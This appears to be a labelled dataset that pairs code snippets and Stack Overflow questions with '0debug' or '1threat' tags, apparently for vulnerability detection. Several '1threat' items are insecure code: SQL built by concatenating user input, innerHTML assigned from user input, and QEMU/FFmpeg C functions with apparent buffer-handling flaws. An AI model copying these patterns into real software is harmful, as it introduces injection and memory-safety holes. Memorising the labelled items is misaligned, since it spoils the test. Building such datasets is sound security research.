problem stringlengths 26 131k | labels class label 2 classes |
|---|---|
loop for print number 1 to 50 no print 10 and 20 and 30 and 40 and 50 : <p>I want the for loop print number 1 to 50, but without this number (10,20,30,40,50)</p>
<p>For example</p>
<p>1
2
3
4
5
6
7
8
9
11
12
13
14
15
16
17
18
19
21
22
.
.
.
.
.
99</p>
<p>Thanks</p>
| 0debug |
db.execute('SELECT * FROM employees WHERE id = ' + user_input) | 1threat |
document.getElementById('input').innerHTML = user_input; | 1threat |
How to make a button on-click to go to another page using HTML? : <p>I have a button, when you click the button it will take you to one of my sub-sites.</p>
<p>The button is a child element of a <code>a</code> tag. Is there a better way?</p>
<pre><code><a target='_blank' href='example.com/sub-site.html'>
<button name='link' style="cursor:pointer" class='example-style' value='example.com/sub-site'
title='Example Title>Example</button></a>
</code></pre>
<p>If possible, I'll prefer not to use the <code>form</code> tag.</p>
<p>Thanks!</p>
| 0debug |
Database design of a settings system : Guys can you please help me with my database design I'm trying to do a mini system which includes a Category, and under that category has many subcategory, and under that subcategory has many topics, and under that topics has many questions. So I'm going to put Add buttons for four of them Category>SubCategory>SubCategoryTopic>Question
all of them have to be dynamic obviously but I was planning to display it as a dropdown then I thought that it wouldn't look friendly when there are many topics stored. but yeah I was wondering if you guys could help me with my database design
| 0debug |
static int pci_unin_main_init_device(SysBusDevice *dev)
{
UNINState *s;
int pci_mem_config, pci_mem_data;
s = FROM_SYSBUS(UNINState, dev);
pci_mem_config = cpu_register_io_memory(pci_unin_main_config_read,
pci_unin_main_config_write, s);
pci_mem_data = cpu_register_io_memory(pci_unin_main_read,
pci_unin_main_write, &s->host_state);
sysbus_init_mmio(dev, 0x1000, pci_mem_config);
sysbus_init_mmio(dev, 0x1000, pci_mem_data);
register_savevm("uninorth", 0, 1, pci_unin_save, pci_unin_load, &s->host_state);
qemu_register_reset(pci_unin_reset, &s->host_state);
return 0;
}
| 1threat |
React: How to navigate through list by arrow keys : <p>I have build a simple component with a single text input and below of that a list (using semantic ui).</p>
<p>Now I would like to use the arrow keys to navigate through the list. </p>
<ul>
<li>First of all I have to select the first element. But how do I access a specific list element?</li>
<li>Second I would get the information of the current selected element and select the next element. How do I get the info which element is selected?</li>
</ul>
<p>Selection would mean to add the class <code>active</code> to the item or is there a better idea for that?</p>
<pre><code>export default class Example extends Component {
constructor(props) {
super(props)
this.handleChange = this.handleChange.bind(this)
this.state = { result: [] }
}
handleChange(event) {
// arrow up/down button should select next/previous list element
}
render() {
return (
<Container>
<Input onChange={ this.handleChange }/>
<List>
{
result.map(i => {
return (
<List.Item key={ i._id } >
<span>{ i.title }</span>
</List.Item>
)
})
}
</List>
</Container>
)
}
}
</code></pre>
| 0debug |
Android Java ArrayIndexOutOfBoundsException : <p>I have some TextView which set the text from value saved in <code>SharedPreferences</code>. The values are split as array using "@".</p>
<pre><code>SharedPreferences mark = getSharedPreferences(PREFS_NAME, 0);
String savestock = mark.getString("stock", null);
if (savestock != null) {
stock = savestock.split("@", -1);
tvstrength.setText(stock[0]);
tvavailable.setText(stock[1]);
tvbrand.setText(stock[2]);
tvbatch.setText(stock[3]);
tvexp.setText(stock[4]);
tvstrength2.setText(stock[5]);
tvavailable2.setText(stock[6]);
tvbrand2.setText(stock[7]);
tvbatch2.setText(stock[8]);
tvexp2.setText(stock[9]);
}
</code></pre>
<p>This is how the <code>SharedPreferences</code> is saved:</p>
<pre><code>SharedPreferences mark = getSharedPreferences(PREFS_NAME, 0);
SharedPreferences.Editor editor = mark.edit();
editor.putString("stock", inStrength + "@" + inamt + "@" + inBrand + "@" + inBatch + "@" + inExp +
inStrength2 + "@" + inamt2 + "@" + inBrand2 + "@" + inBatch2 + "@" + inExp2);
editor.commit();
</code></pre>
<p>However, I got the error <code>java.lang.ArrayIndexOutOfBoundsException: length=9; index=9</code>. The error is caused by <code>tvexp2.setText(stock[9]);</code></p>
<p>What mistake I made?</p>
| 0debug |
Why when Instantiate new GameObjects it's not adding tag to them? : <pre><code>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Test : MonoBehaviour {
public float spinSpeed = 2.0f;
public int cloneTests;
public GameObject prefab;
private bool rotate = false;
private bool exited = false;
private void Start()
{
for (int i = 0; i < cloneTests; i++)
{
GameObject Test = Instantiate(prefab);
Test.tag = "Testing";
}
}
}
</code></pre>
<p>The cloning is working.</p>
<p>But it's not adding the tag to each GameObject.
And how can i put all the clones as childs under another GameObject ?</p>
| 0debug |
static ssize_t gem_receive(VLANClientState *nc, const uint8_t *buf, size_t size)
{
unsigned desc[2];
target_phys_addr_t packet_desc_addr, last_desc_addr;
GemState *s;
unsigned rxbufsize, bytes_to_copy;
unsigned rxbuf_offset;
uint8_t rxbuf[2048];
uint8_t *rxbuf_ptr;
s = DO_UPCAST(NICState, nc, nc)->opaque;
if (!(s->regs[GEM_NWCTRL] & GEM_NWCTRL_RXENA)) {
return -1;
}
if (gem_mac_address_filter(s, buf) == GEM_RX_REJECT) {
return -1;
}
if (s->regs[GEM_NWCFG] & GEM_NWCFG_LERR_DISC) {
unsigned type_len;
type_len = buf[12] << 8 | buf[13];
if (type_len < 0x600) {
if (size < type_len) {
return -1;
}
}
}
rxbuf_offset = (s->regs[GEM_NWCFG] & GEM_NWCFG_BUFF_OFST_M) >>
GEM_NWCFG_BUFF_OFST_S;
rxbufsize = ((s->regs[GEM_DMACFG] & GEM_DMACFG_RBUFSZ_M) >>
GEM_DMACFG_RBUFSZ_S) * GEM_DMACFG_RBUFSZ_MUL;
bytes_to_copy = size;
if (s->regs[GEM_NWCFG] & GEM_NWCFG_STRIP_FCS) {
rxbuf_ptr = (void *)buf;
} else {
unsigned crc_val;
int crc_offset;
memcpy(rxbuf, buf, size);
memset(rxbuf + size, 0, sizeof(rxbuf - size));
rxbuf_ptr = rxbuf;
crc_val = cpu_to_le32(crc32(0, rxbuf, MAX(size, 60)));
if (size < 60) {
crc_offset = 60;
} else {
crc_offset = size;
}
memcpy(rxbuf + crc_offset, &crc_val, sizeof(crc_val));
bytes_to_copy += 4;
size += 4;
}
if (size < 64) {
size = 64;
}
DB_PRINT("config bufsize: %d packet size: %ld\n", rxbufsize, size);
packet_desc_addr = s->rx_desc_addr;
while (1) {
DB_PRINT("read descriptor 0x%x\n", packet_desc_addr);
cpu_physical_memory_read(packet_desc_addr,
(uint8_t *)&desc[0], sizeof(desc));
if (rx_desc_get_ownership(desc) == 1) {
DB_PRINT("descriptor 0x%x owned by sw.\n", packet_desc_addr);
s->regs[GEM_RXSTATUS] |= GEM_RXSTATUS_NOBUF;
gem_update_int_status(s);
return -1;
}
DB_PRINT("copy %d bytes to 0x%x\n", MIN(bytes_to_copy, rxbufsize),
rx_desc_get_buffer(desc));
if (rx_desc_get_buffer(desc) == 0) {
DB_PRINT("Invalid RX buffer (NULL) for descriptor 0x%x\n",
packet_desc_addr);
break;
}
cpu_physical_memory_write(rx_desc_get_buffer(desc) + rxbuf_offset,
rxbuf_ptr, MIN(bytes_to_copy, rxbufsize));
bytes_to_copy -= MIN(bytes_to_copy, rxbufsize);
rxbuf_ptr += MIN(bytes_to_copy, rxbufsize);
if (bytes_to_copy == 0) {
break;
}
if (rx_desc_get_wrap(desc)) {
packet_desc_addr = s->regs[GEM_RXQBASE];
} else {
packet_desc_addr += 8;
}
}
DB_PRINT("set length: %ld, EOF on descriptor 0x%x\n", size,
(unsigned)packet_desc_addr);
rx_desc_set_eof(desc);
rx_desc_set_length(desc, size);
cpu_physical_memory_write(packet_desc_addr,
(uint8_t *)&desc[0], sizeof(desc));
last_desc_addr = packet_desc_addr;
packet_desc_addr = s->rx_desc_addr;
s->rx_desc_addr = last_desc_addr;
if (rx_desc_get_wrap(desc)) {
s->rx_desc_addr = s->regs[GEM_RXQBASE];
} else {
s->rx_desc_addr += 8;
}
DB_PRINT("set SOF, OWN on descriptor 0x%08x\n", packet_desc_addr);
gem_receive_updatestats(s, buf, size);
cpu_physical_memory_read(packet_desc_addr,
(uint8_t *)&desc[0], sizeof(desc));
rx_desc_set_sof(desc);
rx_desc_set_ownership(desc);
cpu_physical_memory_write(packet_desc_addr,
(uint8_t *)&desc[0], sizeof(desc));
s->regs[GEM_RXSTATUS] |= GEM_RXSTATUS_FRMRCVD;
gem_update_int_status(s);
return size;
}
| 1threat |
Unable to Import Pandas in Python2.7 : <p>I have two versions of Python installed in my mac: Python2.7 and python 3.7.
When I try to install Pandas using Pip,</p>
<pre><code>pip install pandas
</code></pre>
<p>It shows,</p>
<pre><code>Requirement already satisfied: pandas in /Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages (0.25.0)
Requirement already satisfied: numpy>=1.13.3 in /Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages (from pandas) (1.17.0)
Requirement already satisfied: python-dateutil>=2.6.1 in /Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages (from pandas) (2.8.0)
Requirement already satisfied: pytz>=2017.2 in /Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages (from pandas) (2019.1)
Requirement already satisfied: six>=1.5 in /Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages (from python-dateutil>=2.6.1->pandas) (1.12.0)
</code></pre>
<p>Upon Importing pandas, it prompts an error: No Module Found.</p>
<pre><code>Raghus-MacBook-Pro:~ Home$ python Python 2.7.16 (default, Aug 6 2019, 11:00:03) [GCC 4.2.1 Compatible Apple LLVM 8.0.0 (clang-800.0.42.1)] on darwin Type "help", "copyright", "credits" or "license" for more information.
>>> import pandas Traceback (most recent call last): File "<stdin>", line 1, in <module> ImportError: No module named pandas
</code></pre>
<p>I have also tried ,</p>
<pre><code>sudo pip install pandas
</code></pre>
<p>But it doesn't solve my issue. Pandas gets imported with python3. But i want pandas to be imported with python. Is it the Problem with the Directory? Help me out. </p>
| 0debug |
use a while loop to display letters entered by a user in vertical order in javascript? : I'm trying to create a script that will ask a user to input a word and then display back the letters entered by the user in vertical order. The problem is that I'm required to use a while loop, any ideas?????? | 0debug |
datetime('now') current date but for tomorrow is there anything? : SELECT datetime('now') is for current date.
please help out what will be the query for tomorrow,Last 7 days,next 7 days
Thanks, | 0debug |
How to convert my byte[] methods to arraylist [] methods? : <pre><code>int movedistance = 5; // Distance to move the board
@Override
public byte getLive(int x, int y) {
return board[y][x]; // Arraylist board.get(y).get(x) ?
}
public void patternRight(){
byte[][] testBoard = new byte[getHeight()][getWidth()];
// testBoard = new Arraylist<> ?
for (int x = 0; x < getHeight(); x++) {
for (int y = 0; y < getWidth(); y++){
if (getLive(y, x) == 1) testBoard[x][y + movedistance] = 1;
}
}
}
</code></pre>
<p>I'm trying to make a method that moves my game pattern on my board(Game of life). This move method I currently have works with byte[]. I want to make exactly same method but with ArrayList.</p>
| 0debug |
static int pci_grackle_init_device(SysBusDevice *dev)
{
GrackleState *s;
int pci_mem_config, pci_mem_data;
s = FROM_SYSBUS(GrackleState, dev);
pci_mem_config = cpu_register_io_memory(pci_grackle_config_read,
pci_grackle_config_write, s);
pci_mem_data = cpu_register_io_memory(pci_grackle_read,
pci_grackle_write,
&s->host_state);
sysbus_init_mmio(dev, 0x1000, pci_mem_config);
sysbus_init_mmio(dev, 0x1000, pci_mem_data);
register_savevm("grackle", 0, 1, pci_grackle_save, pci_grackle_load,
&s->host_state);
qemu_register_reset(pci_grackle_reset, &s->host_state);
return 0;
}
| 1threat |
Sequelize findOne latest entry : <p>I need to find the latest entry in a table. What is the best way to do this? The table has Sequelize's default <code>createdAt</code> field.</p>
| 0debug |
int split_commandline(OptionParseContext *octx, int argc, char *argv[],
const OptionDef *options,
const OptionGroupDef *groups)
{
int optindex = 1;
prepare_app_arguments(&argc, &argv);
init_parse_context(octx, groups);
av_log(NULL, AV_LOG_DEBUG, "Splitting the commandline.\n");
while (optindex < argc) {
const char *opt = argv[optindex++], *arg;
const OptionDef *po;
int ret;
av_log(NULL, AV_LOG_DEBUG, "Reading option '%s' ...", opt);
if (opt[0] != '-' || !opt[1]) {
finish_group(octx, 0, opt);
av_log(NULL, AV_LOG_DEBUG, " matched as %s.\n", groups[0].name);
continue;
}
opt++;
#define GET_ARG(arg) \
do { \
arg = argv[optindex++]; \
if (!arg) { \
av_log(NULL, AV_LOG_ERROR, "Missing argument for option '%s'.\n", opt);\
return AVERROR(EINVAL); \
} \
} while (0)
if ((ret = match_group_separator(groups, opt)) >= 0) {
GET_ARG(arg);
finish_group(octx, ret, arg);
av_log(NULL, AV_LOG_DEBUG, " matched as %s with argument '%s'.\n",
groups[ret].name, arg);
continue;
}
po = find_option(options, opt);
if (po->name) {
if (po->flags & OPT_EXIT) {
arg = argv[optindex++];
} else if (po->flags & HAS_ARG) {
GET_ARG(arg);
} else {
arg = "1";
}
add_opt(octx, po, opt, arg);
av_log(NULL, AV_LOG_DEBUG, " matched as option '%s' (%s) with "
"argument '%s'.\n", po->name, po->help, arg);
continue;
}
if (argv[optindex]) {
ret = opt_default(NULL, opt, argv[optindex]);
if (ret >= 0) {
av_log(NULL, AV_LOG_DEBUG, " matched as AVOption '%s' with "
"argument '%s'.\n", opt, argv[optindex]);
optindex++;
continue;
} else if (ret != AVERROR_OPTION_NOT_FOUND) {
av_log(NULL, AV_LOG_ERROR, "Error parsing option '%s' "
"with argument '%s'.\n", opt, argv[optindex]);
return ret;
}
}
if (opt[0] == 'n' && opt[1] == 'o' &&
(po = find_option(options, opt + 2)) &&
po->name && po->flags & OPT_BOOL) {
add_opt(octx, po, opt, "0");
av_log(NULL, AV_LOG_DEBUG, " matched as option '%s' (%s) with "
"argument 0.\n", po->name, po->help);
continue;
}
av_log(NULL, AV_LOG_ERROR, "Unrecognized option '%s'.\n", opt);
return AVERROR_OPTION_NOT_FOUND;
}
if (octx->cur_group.nb_opts || codec_opts || format_opts)
av_log(NULL, AV_LOG_WARNING, "Trailing options were found on the "
"commandline.\n");
av_log(NULL, AV_LOG_DEBUG, "Finished splitting the commandline.\n");
return 0;
}
| 1threat |
static NetSocketState *net_socket_fd_init(NetClientState *peer,
const char *model, const char *name,
int fd, int is_connected)
{
int so_type = -1, optlen=sizeof(so_type);
if(getsockopt(fd, SOL_SOCKET, SO_TYPE, (char *)&so_type,
(socklen_t *)&optlen)< 0) {
fprintf(stderr, "qemu: error: getsockopt(SO_TYPE) for fd=%d failed\n",
fd);
closesocket(fd);
return NULL;
}
switch(so_type) {
case SOCK_DGRAM:
return net_socket_fd_init_dgram(peer, model, name, fd, is_connected);
case SOCK_STREAM:
return net_socket_fd_init_stream(peer, model, name, fd, is_connected);
default:
fprintf(stderr, "qemu: warning: socket type=%d for fd=%d is not SOCK_DGRAM or SOCK_STREAM\n", so_type, fd);
return net_socket_fd_init_stream(peer, model, name, fd, is_connected);
}
return NULL;
}
| 1threat |
static int vnc_auth_sasl_check_access(VncState *vs)
{
const void *val;
int err;
err = sasl_getprop(vs->sasl.conn, SASL_USERNAME, &val);
if (err != SASL_OK) {
VNC_DEBUG("cannot query SASL username on connection %d (%s)\n",
err, sasl_errstring(err, NULL, NULL));
return -1;
}
if (val == NULL) {
VNC_DEBUG("no client username was found\n");
return -1;
}
VNC_DEBUG("SASL client username %s\n", (const char *)val);
vs->sasl.username = qemu_strdup((const char*)val);
return 0;
}
| 1threat |
static void apic_reset(void *opaque)
{
APICState *s = opaque;
int bsp = cpu_is_bsp(s->cpu_env);
s->apicbase = 0xfee00000 |
(bsp ? MSR_IA32_APICBASE_BSP : 0) | MSR_IA32_APICBASE_ENABLE;
apic_init_ipi(s);
if (bsp) {
s->lvt[APIC_LVT_LINT0] = 0x700;
}
}
| 1threat |
static void guess_mv(ERContext *s)
{
uint8_t *fixed = s->er_temp_buffer;
#define MV_FROZEN 3
#define MV_CHANGED 2
#define MV_UNCHANGED 1
const int mb_stride = s->mb_stride;
const int mb_width = s->mb_width;
const int mb_height = s->mb_height;
int i, depth, num_avail;
int mb_x, mb_y, mot_step, mot_stride;
set_mv_strides(s, &mot_step, &mot_stride);
num_avail = 0;
for (i = 0; i < s->mb_num; i++) {
const int mb_xy = s->mb_index2xy[i];
int f = 0;
int error = s->error_status_table[mb_xy];
if (IS_INTRA(s->cur_pic.mb_type[mb_xy]))
f = MV_FROZEN;
if (!(error & ER_MV_ERROR))
f = MV_FROZEN;
fixed[mb_xy] = f;
if (f == MV_FROZEN)
num_avail++;
}
if ((!(s->avctx->error_concealment&FF_EC_GUESS_MVS)) ||
num_avail <= mb_width / 2) {
for (mb_y = 0; mb_y < s->mb_height; mb_y++) {
for (mb_x = 0; mb_x < s->mb_width; mb_x++) {
const int mb_xy = mb_x + mb_y * s->mb_stride;
int mv_dir = (s->last_pic.f && s->last_pic.f->data[0]) ? MV_DIR_FORWARD : MV_DIR_BACKWARD;
if (IS_INTRA(s->cur_pic.mb_type[mb_xy]))
continue;
if (!(s->error_status_table[mb_xy] & ER_MV_ERROR))
continue;
s->mv[0][0][0] = 0;
s->mv[0][0][1] = 0;
s->decode_mb(s->opaque, 0, mv_dir, MV_TYPE_16X16, &s->mv,
mb_x, mb_y, 0, 0);
}
}
return;
}
for (depth = 0; ; depth++) {
int changed, pass, none_left;
none_left = 1;
changed = 1;
for (pass = 0; (changed || pass < 2) && pass < 10; pass++) {
int mb_x, mb_y;
int score_sum = 0;
changed = 0;
for (mb_y = 0; mb_y < s->mb_height; mb_y++) {
for (mb_x = 0; mb_x < s->mb_width; mb_x++) {
const int mb_xy = mb_x + mb_y * s->mb_stride;
int mv_predictor[8][2] = { { 0 } };
int ref[8] = { 0 };
int pred_count = 0;
int j;
int best_score = 256 * 256 * 256 * 64;
int best_pred = 0;
const int mot_index = (mb_x + mb_y * mot_stride) * mot_step;
int prev_x, prev_y, prev_ref;
if ((mb_x ^ mb_y ^ pass) & 1)
continue;
if (fixed[mb_xy] == MV_FROZEN)
continue;
assert(!IS_INTRA(s->cur_pic.mb_type[mb_xy]));
assert(s->last_pic && s->last_pic.f->data[0]);
j = 0;
if (mb_x > 0 && fixed[mb_xy - 1] == MV_FROZEN)
j = 1;
if (mb_x + 1 < mb_width && fixed[mb_xy + 1] == MV_FROZEN)
j = 1;
if (mb_y > 0 && fixed[mb_xy - mb_stride] == MV_FROZEN)
j = 1;
if (mb_y + 1 < mb_height && fixed[mb_xy + mb_stride] == MV_FROZEN)
j = 1;
if (j == 0)
continue;
j = 0;
if (mb_x > 0 && fixed[mb_xy - 1 ] == MV_CHANGED)
j = 1;
if (mb_x + 1 < mb_width && fixed[mb_xy + 1 ] == MV_CHANGED)
j = 1;
if (mb_y > 0 && fixed[mb_xy - mb_stride] == MV_CHANGED)
j = 1;
if (mb_y + 1 < mb_height && fixed[mb_xy + mb_stride] == MV_CHANGED)
j = 1;
if (j == 0 && pass > 1)
continue;
none_left = 0;
if (mb_x > 0 && fixed[mb_xy - 1]) {
mv_predictor[pred_count][0] =
s->cur_pic.motion_val[0][mot_index - mot_step][0];
mv_predictor[pred_count][1] =
s->cur_pic.motion_val[0][mot_index - mot_step][1];
ref[pred_count] =
s->cur_pic.ref_index[0][4 * (mb_xy - 1)];
pred_count++;
}
if (mb_x + 1 < mb_width && fixed[mb_xy + 1]) {
mv_predictor[pred_count][0] =
s->cur_pic.motion_val[0][mot_index + mot_step][0];
mv_predictor[pred_count][1] =
s->cur_pic.motion_val[0][mot_index + mot_step][1];
ref[pred_count] =
s->cur_pic.ref_index[0][4 * (mb_xy + 1)];
pred_count++;
}
if (mb_y > 0 && fixed[mb_xy - mb_stride]) {
mv_predictor[pred_count][0] =
s->cur_pic.motion_val[0][mot_index - mot_stride * mot_step][0];
mv_predictor[pred_count][1] =
s->cur_pic.motion_val[0][mot_index - mot_stride * mot_step][1];
ref[pred_count] =
s->cur_pic.ref_index[0][4 * (mb_xy - s->mb_stride)];
pred_count++;
}
if (mb_y + 1<mb_height && fixed[mb_xy + mb_stride]) {
mv_predictor[pred_count][0] =
s->cur_pic.motion_val[0][mot_index + mot_stride * mot_step][0];
mv_predictor[pred_count][1] =
s->cur_pic.motion_val[0][mot_index + mot_stride * mot_step][1];
ref[pred_count] =
s->cur_pic.ref_index[0][4 * (mb_xy + s->mb_stride)];
pred_count++;
}
if (pred_count == 0)
continue;
if (pred_count > 1) {
int sum_x = 0, sum_y = 0, sum_r = 0;
int max_x, max_y, min_x, min_y, max_r, min_r;
for (j = 0; j < pred_count; j++) {
sum_x += mv_predictor[j][0];
sum_y += mv_predictor[j][1];
sum_r += ref[j];
if (j && ref[j] != ref[j - 1])
goto skip_mean_and_median;
}
mv_predictor[pred_count][0] = sum_x / j;
mv_predictor[pred_count][1] = sum_y / j;
ref[pred_count] = sum_r / j;
if (pred_count >= 3) {
min_y = min_x = min_r = 99999;
max_y = max_x = max_r = -99999;
} else {
min_x = min_y = max_x = max_y = min_r = max_r = 0;
}
for (j = 0; j < pred_count; j++) {
max_x = FFMAX(max_x, mv_predictor[j][0]);
max_y = FFMAX(max_y, mv_predictor[j][1]);
max_r = FFMAX(max_r, ref[j]);
min_x = FFMIN(min_x, mv_predictor[j][0]);
min_y = FFMIN(min_y, mv_predictor[j][1]);
min_r = FFMIN(min_r, ref[j]);
}
mv_predictor[pred_count + 1][0] = sum_x - max_x - min_x;
mv_predictor[pred_count + 1][1] = sum_y - max_y - min_y;
ref[pred_count + 1] = sum_r - max_r - min_r;
if (pred_count == 4) {
mv_predictor[pred_count + 1][0] /= 2;
mv_predictor[pred_count + 1][1] /= 2;
ref[pred_count + 1] /= 2;
}
pred_count += 2;
}
skip_mean_and_median:
pred_count++;
if (!fixed[mb_xy]) {
if (s->avctx->codec_id == AV_CODEC_ID_H264) {
} else {
ff_thread_await_progress(s->last_pic.tf,
mb_y, 0);
}
if (!s->last_pic.motion_val[0] ||
!s->last_pic.ref_index[0])
goto skip_last_mv;
prev_x = s->last_pic.motion_val[0][mot_index][0];
prev_y = s->last_pic.motion_val[0][mot_index][1];
prev_ref = s->last_pic.ref_index[0][4 * mb_xy];
} else {
prev_x = s->cur_pic.motion_val[0][mot_index][0];
prev_y = s->cur_pic.motion_val[0][mot_index][1];
prev_ref = s->cur_pic.ref_index[0][4 * mb_xy];
}
mv_predictor[pred_count][0] = prev_x;
mv_predictor[pred_count][1] = prev_y;
ref[pred_count] = prev_ref;
pred_count++;
skip_last_mv:
for (j = 0; j < pred_count; j++) {
int *linesize = s->cur_pic.f->linesize;
int score = 0;
uint8_t *src = s->cur_pic.f->data[0] +
mb_x * 16 + mb_y * 16 * linesize[0];
s->cur_pic.motion_val[0][mot_index][0] =
s->mv[0][0][0] = mv_predictor[j][0];
s->cur_pic.motion_val[0][mot_index][1] =
s->mv[0][0][1] = mv_predictor[j][1];
if (ref[j] < 0)
continue;
s->decode_mb(s->opaque, ref[j], MV_DIR_FORWARD,
MV_TYPE_16X16, &s->mv, mb_x, mb_y, 0, 0);
if (mb_x > 0 && fixed[mb_xy - 1]) {
int k;
for (k = 0; k < 16; k++)
score += FFABS(src[k * linesize[0] - 1] -
src[k * linesize[0]]);
}
if (mb_x + 1 < mb_width && fixed[mb_xy + 1]) {
int k;
for (k = 0; k < 16; k++)
score += FFABS(src[k * linesize[0] + 15] -
src[k * linesize[0] + 16]);
}
if (mb_y > 0 && fixed[mb_xy - mb_stride]) {
int k;
for (k = 0; k < 16; k++)
score += FFABS(src[k - linesize[0]] - src[k]);
}
if (mb_y + 1 < mb_height && fixed[mb_xy + mb_stride]) {
int k;
for (k = 0; k < 16; k++)
score += FFABS(src[k + linesize[0] * 15] -
src[k + linesize[0] * 16]);
}
if (score <= best_score) {
best_score = score;
best_pred = j;
}
}
score_sum += best_score;
s->mv[0][0][0] = mv_predictor[best_pred][0];
s->mv[0][0][1] = mv_predictor[best_pred][1];
for (i = 0; i < mot_step; i++)
for (j = 0; j < mot_step; j++) {
s->cur_pic.motion_val[0][mot_index + i + j * mot_stride][0] = s->mv[0][0][0];
s->cur_pic.motion_val[0][mot_index + i + j * mot_stride][1] = s->mv[0][0][1];
}
s->decode_mb(s->opaque, ref[best_pred], MV_DIR_FORWARD,
MV_TYPE_16X16, &s->mv, mb_x, mb_y, 0, 0);
if (s->mv[0][0][0] != prev_x || s->mv[0][0][1] != prev_y) {
fixed[mb_xy] = MV_CHANGED;
changed++;
} else
fixed[mb_xy] = MV_UNCHANGED;
}
}
}
if (none_left)
return;
for (i = 0; i < s->mb_num; i++) {
int mb_xy = s->mb_index2xy[i];
if (fixed[mb_xy])
fixed[mb_xy] = MV_FROZEN;
}
}
}
| 1threat |
What is the meaning of this code (0, function) in javascript : <p>I found this code in someone's code, it sound like this:</p>
<pre><code>(0, function (arg) { ... })(this)
</code></pre>
<p>After I try to play around like below,</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>(0, function (arg) { console.log(arg) })(2);
console.log((0, 1, 2, 3));
(0, function plus1 (arg) { console.log(arg + 1) }, function plus2 (arg) { console.log(arg + 2) })(5);</code></pre>
</div>
</div>
</p>
<p>I found that it will always return last item in the bracket.</p>
<p>I wonder what is the name of this programming pattern and what is the use case?</p>
| 0debug |
Can you help me to explain this code : <pre><code><?php
$val = 999;
$sum = 0;
while($val){
$sum += $val % 10;
$val = $val / 10;
}
echo $sum;
?>
</code></pre>
<p>Please help me to explain above code,
Why $sum is sum all digits of $val?</p>
| 0debug |
What is a Payload in Redux context : <p>Can someone please explain what exactly a <code>Payload</code> is in <code>Redux</code> context? In layman terms please, the technical term wasn't useful. Hence still the confusion.</p>
<p>What I understand is that <code>Payload</code> is the actual data that is transmitted over the network. Does this mean, <code>Payload</code> of an <code>action</code> in <code>Redux</code> context means that the data that is passed as a parameter while an action is emitted to change the <code>Redux</code> <code>state</code>? </p>
| 0debug |
PHP Deprecated: Methods with the same name password hash : <p>error password hash line 1 class passwordhash</p>
<p>PHP Deprecated: Methods with the same name as their class will not be constructors in a future version of PHP; PasswordHash has a deprecated constructor
how to fix error?
my database 7.1</p>
<pre><code>class PasswordHash {
var $itoa64;
var $iteration_count_log2;
var $portable_hashes;
var $random_state;
var $hash_method; // do not modify directly, use set_hash_method instead.
function PasswordHash($iteration_count_log2 = 9, $portable_hashes = false, $hash_method = null, $full_compat = true)
{
$this->portable_hashes = $portable_hashes;
$this->full_compat = $full_compat;
if ($this->set_hash_method($hash_method)===false){
return false;
}
$this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31)
$iteration_count_log2 = 8;
$this->iteration_count_log2 = $iteration_count_log2;
$this->random_state = microtime();
if (function_exists('getmypid'))
$this->random_state .= getmypid();
return $this;
}
</code></pre>
| 0debug |
How to set navigation bar to solid color : <p>When I change the background color of the navigation bar, it is opaque like the following.</p>
<pre><code>UINavigationBar.appearance().backgroundColor = .black
</code></pre>
<p><a href="https://i.stack.imgur.com/TnoHr.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/TnoHr.png" alt="enter image description here"></a></p>
<p>Then if I set translucent to false, I don't see any color like the following</p>
<pre><code>UINavigationBar.appearance().backgroundColor = .black
UINavigationBar.appearance().isTranslucent = true
</code></pre>
<p><a href="https://i.stack.imgur.com/9Y5Q5.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/9Y5Q5.png" alt="enter image description here"></a></p>
<p>Any idea on how to make a solid background color?</p>
| 0debug |
Remove Bootstrap's validation icons : <h2>Explanation</h2>
<p>I'm trying to remove these <a href="https://getbootstrap.com/docs/4.2/components/forms/#validation" rel="noreferrer">Bootstrap's validation</a> icons ("x" and "check"), but I've look into everything and can't find where it is.</p>
<h2>Code</h2>
<p>You can also see in it this <a href="https://jsfiddle.net/at9enbmo/" rel="noreferrer">JSFiddle</a>.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-html lang-html prettyprint-override"><code><link href="https://stackpath.bootstrapcdn.com/bootstrap/4.2.1/css/bootstrap.min.css" rel="stylesheet" />
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.2.1/js/bootstrap.min.js"></script>
<form class="was-validated">
<div class="form-group">
<select class="custom-select" required>
<option value="">Open this select menu</option>
<option value="1">One</option>
<option value="2">Two</option>
<option value="3">Three</option>
</select>
<div class="invalid-feedback">Example invalid custom select feedback</div>
</div>
</form></code></pre>
</div>
</div>
</p>
<p>Thanks in advance,<br>
Luiz.</p>
| 0debug |
How to secure access from App Service To Azure Sql Database using virtual network? : <h1>Scenario</h1>
<p>I want to use virtual network in order to limit access to Azure Database only from my App Service, so that I can turn of "Allow access to App Services" in firewall settings</p>
<p><a href="https://i.stack.imgur.com/ZLj7i.png" rel="noreferrer"><img src="https://i.stack.imgur.com/ZLj7i.png" alt="Allow access to App Services screenshot"></a></p>
<h2>What I have done:</h2>
<ol>
<li>I went to App Service -> Networking -> VNET Integration -> Setup -> Create New Virtual Network</li>
<li>I've created new VNET with default settings.</li>
<li>When VNET was created I went to App Service -> Networking -> VNET Integration and ensured that the VNET is connected</li>
<li>I went to SQL Firewall settigs -> Virtual Network -> Add existing Virtual Newtork and selected my VNET. I've left default subnet and address space: "default / 10.0.0.0/24" and I've left IgnoreMissingServiceEndpoint flag unchecked.</li>
</ol>
<p>I can now see Microsoft.Sql service endpoint in my VNET:
<a href="https://i.stack.imgur.com/9aV9y.png" rel="noreferrer"><img src="https://i.stack.imgur.com/9aV9y.png" alt="enter image description here"></a></p>
<h1>Question</h1>
<p>However, I'm still getting </p>
<blockquote>
<p>SqlException: Cannot open server 'my-sqlserver' requested by the
